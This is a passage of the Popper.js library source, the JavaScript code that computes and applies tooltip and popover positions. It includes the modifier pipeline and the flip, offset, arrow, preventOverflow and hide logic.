`find` + `indexOf` if `findIndex` isn't supported\n var match = find(arr, function (obj) {\n return obj[prop] === value;\n });\n return arr.indexOf(match);\n}\n\n/**\n * Loop trough the list of modifiers and run them in order,\n * each of them will then edit the data object.\n * @method\n * @memberof Popper.Utils\n * @param {dataObject} data\n * @param {Array} modifiers\n * @param {String} ends - Optional modifier name used as stopper\n * @returns {dataObject}\n */\nfunction runModifiers(modifiers, data, ends) {\n var modifiersToRun = ends === undefined ? modifiers : modifiers.slice(0, findIndex(modifiers, 'name', ends));\n\n modifiersToRun.forEach(function (modifier) {\n if (modifier['function']) {\n // eslint-disable-line dot-notation\n console.warn('`modifier.function` is deprecated, use `modifier.fn`!');\n }\n var fn = modifier['function'] || modifier.fn; // eslint-disable-line dot-notation\n if (modifier.enabled && isFunction(fn)) {\n // Add properties to offsets to make them a complete clientRect object\n // we do this before each modifier to make sure the previous one doesn't\n // mess with these values\n data.offsets.popper = getClientRect(data.offsets.popper);\n data.offsets.reference = getClientRect(data.offsets.reference);\n\n data = fn(data, modifier);\n }\n });\n\n return data;\n}\n\n/**\n * Updates the position of the popper, computing the new offsets and applying\n * the new style.<br />\n * Prefer `scheduleUpdate` over `update` because of performance reasons.\n * @method\n * @memberof Popper\n */\nfunction update() {\n // if popper is destroyed, don't perform any further update\n if (this.state.isDestroyed) {\n return;\n }\n\n var data = {\n instance: this,\n styles: {},\n arrowStyles: {},\n attributes: {},\n flipped: false,\n offsets: {}\n };\n\n // compute reference element offsets\n data.offsets.reference = getReferenceOffsets(this.state, this.popper, this.reference, this.options.positionFixed);\n\n // compute auto placement, store placement inside the data object,\n // modifiers will be able to edit `placement` if needed\n // and refer to originalPlacement to know the original value\n data.placement = computeAutoPlacement(this.options.placement, data.offsets.reference, this.popper, this.reference, this.options.modifiers.flip.boundariesElement, this.options.modifiers.flip.padding);\n\n // store the computed placement inside `originalPlacement`\n data.originalPlacement = data.placement;\n\n data.positionFixed = this.options.positionFixed;\n\n // compute the popper offsets\n data.offsets.popper = getPopperOffsets(this.popper, data.offsets.reference, data.placement);\n\n data.offsets.popper.position = this.options.positionFixed ? 'fixed' : 'absolute';\n\n // run the modifiers\n data = runModifiers(this.modifiers, data);\n\n // the first `update` will call `onCreate` callback\n // the other ones will call `onUpdate` callback\n if (!this.state.isCreated) {\n this.state.isCreated = true;\n this.options.onCreate(data);\n } else {\n this.options.onUpdate(data);\n }\n}\n\n/**\n * Helper used to know if the given modifier is enabled.\n * @method\n * @memberof Popper.Utils\n * @returns {Boolean}\n */\nfunction isModifierEnabled(modifiers, modifierName) {\n return modifiers.some(function (_ref) {\n var name = _ref.name,\n enabled = _ref.enabled;\n return enabled && name === modifierName;\n });\n}\n\n/**\n * Get the prefixed supported property name\n * @method\n * @memberof Popper.Utils\n * @argument {String} property (camelCase)\n * @returns {String} prefixed property (camelCase or PascalCase, depending on the vendor prefix)\n */\nfunction getSupportedPropertyName(property) {\n var prefixes = [false, 'ms', 'Webkit', 'Moz', 'O'];\n var upperProp = property.charAt(0).toUpperCase() + property.slice(1);\n\n for (var i = 0; i < prefixes.length; i++) {\n var prefix = prefixes[i];\n var toCheck = prefix ? '' + prefix + upperProp : property;\n if (typeof document.body.style[toCheck] !== 'undefined') {\n return toCheck;\n }\n }\n return null;\n}\n\n/**\n * Destroys the popper.\n * @method\n * @memberof Popper\n */\nfunction destroy() {\n this.state.isDestroyed = true;\n\n // touch DOM only if `applyStyle` modifier is enabled\n if (isModifierEnabled(this.modifiers, 'applyStyle')) {\n this.popper.removeAttribute('x-placement');\n this.popper.style.position = '';\n this.popper.style.top = '';\n this.popper.style.left = '';\n this.popper.style.right = '';\n this.popper.style.bottom = '';\n this.popper.style.willChange = '';\n this.popper.style[getSupportedPropertyName('transform')] = '';\n }\n\n this.disableEventListeners();\n\n // remove the popper if user explicity asked for the deletion on destroy\n // do not use `remove` because IE11 doesn't support it\n if (this.options.removeOnDestroy) {\n this.popper.parentNode.removeChild(this.popper);\n }\n return this;\n}\n\n/**\n * Get the window associated with the element\n * @argument {Element} element\n * @returns {Window}\n */\nfunction getWindow(element) {\n var ownerDocument = element.ownerDocument;\n return ownerDocument ? ownerDocument.defaultView : window;\n}\n\nfunction attachToScrollParents(scrollParent, event, callback, scrollParents) {\n var isBody = scrollParent.nodeName === 'BODY';\n var target = isBody ? scrollParent.ownerDocument.defaultView : scrollParent;\n target.addEventListener(event, callback, { passive: true });\n\n if (!isBody) {\n attachToScrollParents(getScrollParent(target.parentNode), event, callback, scrollParents);\n }\n scrollParents.push(target);\n}\n\n/**\n * Setup needed event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nfunction setupEventListeners(reference, options, state, updateBound) {\n // Resize event listener on window\n state.updateBound = updateBound;\n getWindow(reference).addEventListener('resize', state.updateBound, { passive: true });\n\n // Scroll event listener on scroll parents\n var scrollElement = getScrollParent(reference);\n attachToScrollParents(scrollElement, 'scroll', state.updateBound, state.scrollParents);\n state.scrollElement = scrollElement;\n state.eventsEnabled = true;\n\n return state;\n}\n\n/**\n * It will add resize/scroll events and start recalculating\n * position of the popper element when they are triggered.\n * @method\n * @memberof Popper\n */\nfunction enableEventListeners() {\n if (!this.state.eventsEnabled) {\n this.state = setupEventListeners(this.reference, this.options, this.state, this.scheduleUpdate);\n }\n}\n\n/**\n * Remove event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nfunction removeEventListeners(reference, state) {\n // Remove resize event listener on window\n getWindow(reference).removeEventListener('resize', state.updateBound);\n\n // Remove scroll event listener on scroll parents\n state.scrollParents.forEach(function (target) {\n target.removeEventListener('scroll', state.updateBound);\n });\n\n // Reset state\n state.updateBound = null;\n state.scrollParents = [];\n state.scrollElement = null;\n state.eventsEnabled = false;\n return state;\n}\n\n/**\n * It will remove resize/scroll events and won't recalculate popper position\n * when they are triggered. It also won't trigger `onUpdate` callback anymore,\n * unless you call `update` method manually.\n * @method\n * @memberof Popper\n */\nfunction disableEventListeners() {\n if (this.state.eventsEnabled) {\n cancelAnimationFrame(this.scheduleUpdate);\n this.state = removeEventListeners(this.reference, this.state);\n }\n}\n\n/**\n * Tells if a given input is a number\n * @method\n * @memberof Popper.Utils\n * @param {*} input to check\n * @return {Boolean}\n */\nfunction isNumeric(n) {\n return n !== '' && !isNaN(parseFloat(n)) && isFinite(n);\n}\n\n/**\n * Set the style to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the style to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nfunction setStyles(element, styles) {\n Object.keys(styles).forEach(function (prop) {\n var unit = '';\n // add unit if the value is numeric and is one of the following\n if (['width', 'height', 'top', 'right', 'bottom', 'left'].indexOf(prop) !== -1 && isNumeric(styles[prop])) {\n unit = 'px';\n }\n element.style[prop] = styles[prop] + unit;\n });\n}\n\n/**\n * Set the attributes to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the attributes to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nfunction setAttributes(element, attributes) {\n Object.keys(attributes).forEach(function (prop) {\n var value = attributes[prop];\n if (value !== false) {\n element.setAttribute(prop, attributes[prop]);\n } else {\n element.removeAttribute(prop);\n }\n });\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} data.styles - List of style properties - values to apply to popper element\n * @argument {Object} data.attributes - List of attribute properties - values to apply to popper element\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The same data object\n */\nfunction applyStyle(data) {\n // any property present in `data.styles` will be applied to the popper,\n // in this way we can make the 3rd party modifiers add custom styles to it\n // Be aware, modifiers could override the properties defined in the previous\n // lines of this modifier!\n setStyles(data.instance.popper, data.styles);\n\n // any property present in `data.attributes` will be applied to the popper,\n // they will be set as HTML attributes of the element\n setAttributes(data.instance.popper, data.attributes);\n\n // if arrowElement is defined and arrowStyles has some properties\n if (data.arrowElement && Object.keys(data.arrowStyles).length) {\n setStyles(data.arrowElement, data.arrowStyles);\n }\n\n return data;\n}\n\n/**\n * Set the x-placement attribute before everything else because it could be used\n * to add margins to the popper margins needs to be calculated to get the\n * correct popper offsets.\n * @method\n * @memberof Popper.modifiers\n * @param {HTMLElement} reference - The reference element used to position the popper\n * @param {HTMLElement} popper - The HTML element used as popper\n * @param {Object} options - Popper.js options\n */\nfunction applyStyleOnLoad(reference, popper, options, modifierOptions, state) {\n // compute reference element offsets\n var referenceOffsets = getReferenceOffsets(state, popper, reference, options.positionFixed);\n\n // compute auto placement, store placement inside the data object,\n // modifiers will be able to edit `placement` if needed\n // and refer to originalPlacement to know the original value\n var placement = computeAutoPlacement(options.placement, referenceOffsets, popper, reference, options.modifiers.flip.boundariesElement, options.modifiers.flip.padding);\n\n popper.setAttribute('x-placement', placement);\n\n // Apply `position` to popper before anything else because\n // without the position applied we can't guarantee correct computations\n setStyles(popper, { position: options.positionFixed ? 'fixed' : 'absolute' });\n\n return options;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction computeStyle(data, options) {\n var x = options.x,\n y = options.y;\n var popper = data.offsets.popper;\n\n // Remove this legacy support in Popper.js v2\n\n var legacyGpuAccelerationOption = find(data.instance.modifiers, function (modifier) {\n return modifier.name === 'applyStyle';\n }).gpuAcceleration;\n if (legacyGpuAccelerationOption !== undefined) {\n console.warn('WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!');\n }\n var gpuAcceleration = legacyGpuAccelerationOption !== undefined ? legacyGpuAccelerationOption : options.gpuAcceleration;\n\n var offsetParent = getOffsetParent(data.instance.popper);\n var offsetParentRect = getBoundingClientRect(offsetParent);\n\n // Styles\n var styles = {\n position: popper.position\n };\n\n // Avoid blurry text by using full pixel integers.\n // For pixel-perfect positioning, top/bottom prefers rounded\n // values, while left/right prefers floored values.\n var offsets = {\n left: Math.floor(popper.left),\n top: Math.round(popper.top),\n bottom: Math.round(popper.bottom),\n right: Math.floor(popper.right)\n };\n\n var sideA = x === 'bottom' ? 'top' : 'bottom';\n var sideB = y === 'right' ? 'left' : 'right';\n\n // if gpuAcceleration is set to `true` and transform is supported,\n // we use `translate3d` to apply the position to the popper we\n // automatically use the supported prefixed version if needed\n var prefixedProperty = getSupportedPropertyName('transform');\n\n // now, let's make a step back and look at this code closely (wtf?)\n // If the content of the popper grows once it's been positioned, it\n // may happen that the popper gets misplaced because of the new content\n // overflowing its reference element\n // To avoid this problem, we provide two options (x and y), which allow\n // the consumer to define the offset origin.\n // If we position a popper on top of a reference element, we can set\n // `x` to `top` to make the popper grow towards its top instead of\n // its bottom.\n var left = void 0,\n top = void 0;\n if (sideA === 'bottom') {\n // when offsetParent is <html> the positioning is relative to the bottom of the screen (excluding the scrollbar)\n // and not the bottom of the html element\n if (offsetParent.nodeName === 'HTML') {\n top = -offsetParent.clientHeight + offsets.bottom;\n } else {\n top = -offsetParentRect.height + offsets.bottom;\n }\n } else {\n top = offsets.top;\n }\n if (sideB === 'right') {\n if (offsetParent.nodeName === 'HTML') {\n left = -offsetParent.clientWidth + offsets.right;\n } else {\n left = -offsetParentRect.width + offsets.right;\n }\n } else {\n left = offsets.left;\n }\n if (gpuAcceleration && prefixedProperty) {\n styles[prefixedProperty] = 'translate3d(' + left + 'px, ' + top + 'px, 0)';\n styles[sideA] = 0;\n styles[sideB] = 0;\n styles.willChange = 'transform';\n } else {\n // othwerise, we use the standard `top`, `left`, `bottom` and `right` properties\n var invertTop = sideA === 'bottom' ? -1 : 1;\n var invertLeft = sideB === 'right' ? -1 : 1;\n styles[sideA] = top * invertTop;\n styles[sideB] = left * invertLeft;\n styles.willChange = sideA + ', ' + sideB;\n }\n\n // Attributes\n var attributes = {\n 'x-placement': data.placement\n };\n\n // Update `data` attributes, styles and arrowStyles\n data.attributes = _extends({}, attributes, data.attributes);\n data.styles = _extends({}, styles, data.styles);\n data.arrowStyles = _extends({}, data.offsets.arrow, data.arrowStyles);\n\n return data;\n}\n\n/**\n * Helper used to know if the given modifier depends from another one.<br />\n * It checks if the needed modifier is listed and enabled.\n * @method\n * @memberof Popper.Utils\n * @param {Array} modifiers - list of modifiers\n * @param {String} requestingName - name of requesting modifier\n * @param {String} requestedName - name of requested modifier\n * @returns {Boolean}\n */\nfunction isModifierRequired(modifiers, requestingName, requestedName) {\n var requesting = find(modifiers, function (_ref) {\n var name = _ref.name;\n return name === requestingName;\n });\n\n var isRequired = !!requesting && modifiers.some(function (modifier) {\n return modifier.name === requestedName && modifier.enabled && modifier.order < requesting.order;\n });\n\n if (!isRequired) {\n var _requesting = '`' + requestingName + '`';\n var requested = '`' + requestedName + '`';\n console.warn(requested + ' modifier is required by ' + _requesting + ' modifier in order to work, be sure to include it before ' + _requesting + '!');\n }\n return isRequired;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction arrow(data, options) {\n var _data$offsets$arrow;\n\n // arrow depends on keepTogether in order to work\n if (!isModifierRequired(data.instance.modifiers, 'arrow', 'keepTogether')) {\n return data;\n }\n\n var arrowElement = options.element;\n\n // if arrowElement is a string, suppose it's a CSS selector\n if (typeof arrowElement === 'string') {\n arrowElement = data.instance.popper.querySelector(arrowElement);\n\n // if arrowElement is not found, don't run the modifier\n if (!arrowElement) {\n return data;\n }\n } else {\n // if the arrowElement isn't a query selector we must check that the\n // provided DOM node is child of its popper node\n if (!data.instance.popper.contains(arrowElement)) {\n console.warn('WARNING: `arrow.element` must be child of its popper element!');\n return data;\n }\n }\n\n var placement = data.placement.split('-')[0];\n var _data$offsets = data.offsets,\n popper = _data$offsets.popper,\n reference = _data$offsets.reference;\n\n var isVertical = ['left', 'right'].indexOf(placement) !== -1;\n\n var len = isVertical ? 'height' : 'width';\n var sideCapitalized = isVertical ? 'Top' : 'Left';\n var side = sideCapitalized.toLowerCase();\n var altSide = isVertical ? 'left' : 'top';\n var opSide = isVertical ? 'bottom' : 'right';\n var arrowElementSize = getOuterSizes(arrowElement)[len];\n\n //\n // extends keepTogether behavior making sure the popper and its\n // reference have enough pixels in conjunction\n //\n\n // top/left side\n if (reference[opSide] - arrowElementSize < popper[side]) {\n data.offsets.popper[side] -= popper[side] - (reference[opSide] - arrowElementSize);\n }\n // bottom/right side\n if (reference[side] + arrowElementSize > popper[opSide]) {\n data.offsets.popper[side] += reference[side] + arrowElementSize - popper[opSide];\n }\n data.offsets.popper = getClientRect(data.offsets.popper);\n\n // compute center of the popper\n var center = reference[side] + reference[len] / 2 - arrowElementSize / 2;\n\n // Compute the sideValue using the updated popper offsets\n // take popper margin in account because we don't have this info available\n var css = getStyleComputedProperty(data.instance.popper);\n var popperMarginSide = parseFloat(css['margin' + sideCapitalized], 10);\n var popperBorderSide = parseFloat(css['border' + sideCapitalized + 'Width'], 10);\n var sideValue = center - data.offsets.popper[side] - popperMarginSide - popperBorderSide;\n\n // prevent arrowElement from being placed not contiguously to its popper\n sideValue = Math.max(Math.min(popper[len] - arrowElementSize, sideValue), 0);\n\n data.arrowElement = arrowElement;\n data.offsets.arrow = (_data$offsets$arrow = {}, defineProperty(_data$offsets$arrow, side, Math.round(sideValue)), defineProperty(_data$offsets$arrow, altSide, ''), _data$offsets$arrow);\n\n return data;\n}\n\n/**\n * Get the opposite placement variation of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement variation\n * @returns {String} flipped placement variation\n */\nfunction getOppositeVariation(variation) {\n if (variation === 'end') {\n return 'start';\n } else if (variation === 'start') {\n return 'end';\n }\n return variation;\n}\n\n/**\n * List of accepted placements to use as values of the `placement` option.<br />\n * Valid placements are:\n * - `auto`\n * - `top`\n * - `right`\n * - `bottom`\n * - `left`\n *\n * Each placement can have a variation from this list:\n * - `-start`\n * - `-end`\n *\n * Variations are interpreted easily if you think of them as the left to right\n * written languages. Horizontally (`top` and `bottom`), `start` is left and `end`\n * is right.<br />\n * Vertically (`left` and `right`), `start` is top and `end` is bottom.\n *\n * Some valid examples are:\n * - `top-end` (on top of reference, right aligned)\n * - `right-start` (on right of reference, top aligned)\n * - `bottom` (on bottom, centered)\n * - `auto-end` (on the side with more space available, alignment depends by placement)\n *\n * @static\n * @type {Array}\n * @enum {String}\n * @readonly\n * @method placements\n * @memberof Popper\n */\nvar placements = ['auto-start', 'auto', 'auto-end', 'top-start', 'top', 'top-end', 'right-start', 'right', 'right-end', 'bottom-end', 'bottom', 'bottom-start', 'left-end', 'left', 'left-start'];\n\n// Get rid of `auto` `auto-start` and `auto-end`\nvar validPlacements = placements.slice(3);\n\n/**\n * Given an initial placement, returns all the subsequent placements\n * clockwise (or counter-clockwise).\n *\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement - A valid placement (it accepts variations)\n * @argument {Boolean} counter - Set to true to walk the placements counterclockwise\n * @returns {Array} placements including their variations\n */\nfunction clockwise(placement) {\n var counter = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;\n\n var index = validPlacements.indexOf(placement);\n var arr = validPlacements.slice(index + 1).concat(validPlacements.slice(0, index));\n return counter ? arr.reverse() : arr;\n}\n\nvar BEHAVIORS = {\n FLIP: 'flip',\n CLOCKWISE: 'clockwise',\n COUNTERCLOCKWISE: 'counterclockwise'\n};\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction flip(data, options) {\n // if `inner` modifier is enabled, we can't use the `flip` modifier\n if (isModifierEnabled(data.instance.modifiers, 'inner')) {\n return data;\n }\n\n if (data.flipped && data.placement === data.originalPlacement) {\n // seems like flip is trying to loop, probably there's not enough space on any of the flippable sides\n return data;\n }\n\n var boundaries = getBoundaries(data.instance.popper, data.instance.reference, options.padding, options.boundariesElement, data.positionFixed);\n\n var placement = data.placement.split('-')[0];\n var placementOpposite = getOppositePlacement(placement);\n var variation = data.placement.split('-')[1] || '';\n\n var flipOrder = [];\n\n switch (options.behavior) {\n case BEHAVIORS.FLIP:\n flipOrder = [placement, placementOpposite];\n break;\n case BEHAVIORS.CLOCKWISE:\n flipOrder = clockwise(placement);\n break;\n case BEHAVIORS.COUNTERCLOCKWISE:\n flipOrder = clockwise(placement, true);\n break;\n default:\n flipOrder = options.behavior;\n }\n\n flipOrder.forEach(function (step, index) {\n if (placement !== step || flipOrder.length === index + 1) {\n return data;\n }\n\n placement = data.placement.split('-')[0];\n placementOpposite = getOppositePlacement(placement);\n\n var popperOffsets = data.offsets.popper;\n var refOffsets = data.offsets.reference;\n\n // using floor because the reference offsets may contain decimals we are not going to consider here\n var floor = Math.floor;\n var overlapsRef = placement === 'left' && floor(popperOffsets.right) > floor(refOffsets.left) || placement === 'right' && floor(popperOffsets.left) < floor(refOffsets.right) || placement === 'top' && floor(popperOffsets.bottom) > floor(refOffsets.top) || placement === 'bottom' && floor(popperOffsets.top) < floor(refOffsets.bottom);\n\n var overflowsLeft = floor(popperOffsets.left) < floor(boundaries.left);\n var overflowsRight = floor(popperOffsets.right) > floor(boundaries.right);\n var overflowsTop = floor(popperOffsets.top) < floor(boundaries.top);\n var overflowsBottom = floor(popperOffsets.bottom) > floor(boundaries.bottom);\n\n var overflowsBoundaries = placement === 'left' && overflowsLeft || placement === 'right' && overflowsRight || placement === 'top' && overflowsTop || placement === 'bottom' && overflowsBottom;\n\n // flip the variation if required\n var isVertical = ['top', 'bottom'].indexOf(placement) !== -1;\n var flippedVariation = !!options.flipVariations && (isVertical && variation === 'start' && overflowsLeft || isVertical && variation === 'end' && overflowsRight || !isVertical && variation === 'start' && overflowsTop || !isVertical && variation === 'end' && overflowsBottom);\n\n if (overlapsRef || overflowsBoundaries || flippedVariation) {\n // this boolean to detect any flip loop\n data.flipped = true;\n\n if (overlapsRef || overflowsBoundaries) {\n placement = flipOrder[index + 1];\n }\n\n if (flippedVariation) {\n variation = getOppositeVariation(variation);\n }\n\n data.placement = placement + (variation ? '-' + variation : '');\n\n // this object contains `position`, we want to preserve it along with\n // any additional property we may add in the future\n data.offsets.popper = _extends({}, data.offsets.popper, getPopperOffsets(data.instance.popper, data.offsets.reference, data.placement));\n\n data = runModifiers(data.instance.modifiers, data, 'flip');\n }\n });\n return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction keepTogether(data) {\n var _data$offsets = data.offsets,\n popper = _data$offsets.popper,\n reference = _data$offsets.reference;\n\n var placement = data.placement.split('-')[0];\n var floor = Math.floor;\n var isVertical = ['top', 'bottom'].indexOf(placement) !== -1;\n var side = isVertical ? 'right' : 'bottom';\n var opSide = isVertical ? 'left' : 'top';\n var measurement = isVertical ? 'width' : 'height';\n\n if (popper[side] < floor(reference[opSide])) {\n data.offsets.popper[opSide] = floor(reference[opSide]) - popper[measurement];\n }\n if (popper[opSide] > floor(reference[side])) {\n data.offsets.popper[opSide] = floor(reference[side]);\n }\n\n return data;\n}\n\n/**\n * Converts a string containing value + unit into a px value number\n * @function\n * @memberof {modifiers~offset}\n * @private\n * @argument {String} str - Value + unit string\n * @argument {String} measurement - `height` or `width`\n * @argument {Object} popperOffsets\n * @argument {Object} referenceOffsets\n * @returns {Number|String}\n * Value in pixels, or original string if no values were extracted\n */\nfunction toValue(str, measurement, popperOffsets, referenceOffsets) {\n // separate value from unit\n var split = str.match(/((?:\\-|\\+)?\\d*\\.?\\d*)(.*)/);\n var value = +split[1];\n var unit = split[2];\n\n // If it's not a number it's an operator, I guess\n if (!value) {\n return str;\n }\n\n if (unit.indexOf('%') === 0) {\n var element = void 0;\n switch (unit) {\n case '%p':\n element = popperOffsets;\n break;\n case '%':\n case '%r':\n default:\n element = referenceOffsets;\n }\n\n var rect = getClientRect(element);\n return rect[measurement] / 100 * value;\n } else if (unit === 'vh' || unit === 'vw') {\n // if is a vh or vw, we calculate the size based on the viewport\n var size = void 0;\n if (unit === 'vh') {\n size = Math.max(document.documentElement.clientHeight, window.innerHeight || 0);\n } else {\n size = Math.max(document.documentElement.clientWidth, window.innerWidth || 0);\n }\n return size / 100 * value;\n } else {\n // if is an explicit pixel unit, we get rid of the unit and keep the value\n // if is an implicit unit, it's px, and we return just the value\n return value;\n }\n}\n\n/**\n * Parse an `offset` string to extrapolate `x` and `y` numeric offsets.\n * @function\n * @memberof {modifiers~offset}\n * @private\n * @argument {String} offset\n * @argument {Object} popperOffsets\n * @argument {Object} referenceOffsets\n * @argument {String} basePlacement\n * @returns {Array} a two cells array with x and y offsets in numbers\n */\nfunction parseOffset(offset, popperOffsets, referenceOffsets, basePlacement) {\n var offsets = [0, 0];\n\n // Use height if placement is left or right and index is 0 otherwise use width\n // in this way the first offset will use an axis and the second one\n // will use the other one\n var useHeight = ['right', 'left'].indexOf(basePlacement) !== -1;\n\n // Split the offset string to obtain a list of values and operands\n // The regex addresses values with the plus or minus sign in front (+10, -20, etc)\n var fragments = offset.split(/(\\+|\\-)/).map(function (frag) {\n return frag.trim();\n });\n\n // Detect if the offset string contains a pair of values or a single one\n // they could be separated by comma or space\n var divider = fragments.indexOf(find(fragments, function (frag) {\n return frag.search(/,|\\s/) !== -1;\n }));\n\n if (fragments[divider] && fragments[divider].indexOf(',') === -1) {\n console.warn('Offsets separated by white space(s) are deprecated, use a comma (,) instead.');\n }\n\n // If divider is found, we divide the list of values and operands to divide\n // them by ofset X and Y.\n var splitRegex = /\\s*,\\s*|\\s+/;\n var ops = divider !== -1 ? [fragments.slice(0, divider).concat([fragments[divider].split(splitRegex)[0]]), [fragments[divider].split(splitRegex)[1]].concat(fragments.slice(divider + 1))] : [fragments];\n\n // Convert the values with units to absolute pixels to allow our computations\n ops = ops.map(function (op, index) {\n // Most of the units rely on the orientation of the popper\n var measurement = (index === 1 ? !useHeight : useHeight) ? 'height' : 'width';\n var mergeWithPrevious = false;\n return op\n // This aggregates any `+` or `-` sign that aren't considered operators\n // e.g.: 10 + +5 => [10, +, +5]\n .reduce(function (a, b) {\n if (a[a.length - 1] === '' && ['+', '-'].indexOf(b) !== -1) {\n a[a.length - 1] = b;\n mergeWithPrevious = true;\n return a;\n } else if (mergeWithPrevious) {\n a[a.length - 1] += b;\n mergeWithPrevious = false;\n return a;\n } else {\n return a.concat(b);\n }\n }, [])\n // Here we convert the string values into number values (in px)\n .map(function (str) {\n return toValue(str, measurement, popperOffsets, referenceOffsets);\n });\n });\n\n // Loop trough the offsets arrays and execute the operations\n ops.forEach(function (op, index) {\n op.forEach(function (frag, index2) {\n if (isNumeric(frag)) {\n offsets[index] += frag * (op[index2 - 1] === '-' ? -1 : 1);\n }\n });\n });\n return offsets;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @argument {Number|String} options.offset=0\n * The offset value as described in the modifier description\n * @returns {Object} The data object, properly modified\n */\nfunction offset(data, _ref) {\n var offset = _ref.offset;\n var placement = data.placement,\n _data$offsets = data.offsets,\n popper = _data$offsets.popper,\n reference = _data$offsets.reference;\n\n var basePlacement = placement.split('-')[0];\n\n var offsets = void 0;\n if (isNumeric(+offset)) {\n offsets = [+offset, 0];\n } else {\n offsets = parseOffset(offset, popper, reference, basePlacement);\n }\n\n if (basePlacement === 'left') {\n popper.top += offsets[0];\n popper.left -= offsets[1];\n } else if (basePlacement === 'right') {\n popper.top += offsets[0];\n popper.left += offsets[1];\n } else if (basePlacement === 'top') {\n popper.left += offsets[0];\n popper.top -= offsets[1];\n } else if (basePlacement === 'bottom') {\n popper.left += offsets[0];\n popper.top += offsets[1];\n }\n\n data.popper = popper;\n return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction preventOverflow(data, options) {\n var boundariesElement = options.boundariesElement || getOffsetParent(data.instance.popper);\n\n // If offsetParent is the reference element, we really want to\n // go one step up and use the next offsetParent as reference to\n // avoid to make this modifier completely useless and look like broken\n if (data.instance.reference === boundariesElement) {\n boundariesElement = getOffsetParent(boundariesElement);\n }\n\n // NOTE: DOM access here\n // resets the popper's position so that the document size can be calculated excluding\n // the size of the popper element itself\n var transformProp = getSupportedPropertyName('transform');\n var popperStyles = data.instance.popper.style; // assignment to help minification\n var top = popperStyles.top,\n left = popperStyles.left,\n transform = popperStyles[transformProp];\n\n popperStyles.top = '';\n popperStyles.left = '';\n popperStyles[transformProp] = '';\n\n var boundaries = getBoundaries(data.instance.popper, data.instance.reference, options.padding, boundariesElement, data.positionFixed);\n\n // NOTE: DOM access here\n // restores the original style properties after the offsets have been computed\n popperStyles.top = top;\n popperStyles.left = left;\n popperStyles[transformProp] = transform;\n\n options.boundaries = boundaries;\n\n var order = options.priority;\n var popper = data.offsets.popper;\n\n var check = {\n primary: function primary(placement) {\n var value = popper[placement];\n if (popper[placement] < boundaries[placement] && !options.escapeWithReference) {\n value = Math.max(popper[placement], boundaries[placement]);\n }\n return defineProperty({}, placement, value);\n },\n secondary: function secondary(placement) {\n var mainSide = placement === 'right' ? 'left' : 'top';\n var value = popper[mainSide];\n if (popper[placement] > boundaries[placement] && !options.escapeWithReference) {\n value = Math.min(popper[mainSide], boundaries[placement] - (placement === 'right' ? popper.width : popper.height));\n }\n return defineProperty({}, mainSide, value);\n }\n };\n\n order.forEach(function (placement) {\n var side = ['left', 'top'].indexOf(placement) !== -1 ? 'primary' : 'secondary';\n popper = _extends({}, popper, check[side](placement));\n });\n\n data.offsets.popper = popper;\n\n return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction shift(data) {\n var placement = data.placement;\n var basePlacement = placement.split('-')[0];\n var shiftvariation = placement.split('-')[1];\n\n // if shift shiftvariation is specified, run the modifier\n if (shiftvariation) {\n var _data$offsets = data.offsets,\n reference = _data$offsets.reference,\n popper = _data$offsets.popper;\n\n var isVertical = ['bottom', 'top'].indexOf(basePlacement) !== -1;\n var side = isVertical ? 'left' : 'top';\n var measurement = isVertical ? 'width' : 'height';\n\n var shiftOffsets = {\n start: defineProperty({}, side, reference[side]),\n end: defineProperty({}, side, reference[side] + reference[measurement] - popper[measurement])\n };\n\n data.offsets.popper = _extends({}, popper, shiftOffsets[shiftvariation]);\n }\n\n return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction hide(data) {\n if (!isModifierRequired(data.instance.modifiers, 'hide', 'preventOverflow')) {\n return data;\n }\n\n var refRect = data.offsets.reference;\n var bound = find(data.instance.modifiers, function (modifier) {\n return modifier.name === 'preventOverflow';\n }).boundaries;\n\n if (refRect.bottom < bound.top || refRect.left > bound.right || refRect.top > bound.bottom || refRect.right < bound.left) {\n // Avoid unnecessary DOM access if visibility hasn't changed\n if (data.hide === true) {\n return data;\n }\n\n data.hide = true;\n data.attributes['x-out-of-boundaries'] = '';\n } else {\n // Avoid unnecessary DOM access if visibility hasn't changed\n if (data.hide === false) {\n return data;\n }\n\n data.hide = false;\n data.attributes['x-out-of-boundaries'] = false;\n }\n\n return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - 